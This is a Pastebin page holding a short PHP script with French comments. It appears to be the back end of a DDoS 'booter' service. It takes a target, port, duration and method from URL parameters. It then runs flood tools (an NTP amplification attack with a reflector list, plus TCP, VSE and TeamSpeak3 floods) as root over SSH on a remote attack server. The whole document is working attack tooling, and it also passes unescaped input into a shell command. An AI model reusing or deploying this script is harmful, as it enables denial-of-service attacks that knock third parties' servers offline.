Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- // Début de la configuration
- $server_ip = ""; // Adresse IP du serveur
- $server_pass = ""; // Mot de passe du serveur
- $server_user = "root"; // Nom d'utilisateur du serveur (Par défaut root)
- // Fin de la configuration
- $host = $_GET['target'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- if ($method == "UDP") { $command = "./ntp ".$host." ".$port." ntplist.txt 20 -1 ".$time; }
- if ($method == "TCP") { $command = "./try ".$host." ".$port." ".$time." 10"; }
- if ($method == "VSE") { $command = "./vse ".$host." ".$port." 20 ".$time; }
- if ($method == "TS3") { $command = "./ts3 ".$host." ".$port." 20 ".$time; }
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "Erreur : Problème de connexion";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Erreur : Utilisateur ou mot de passe incorrect";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Erreur : Impossible d'éxécuter les commandes\n";
- } else {
- stream_set_blocking($stream, true);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Done sur $host :) Pdt $time ";
- fclose($stream);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement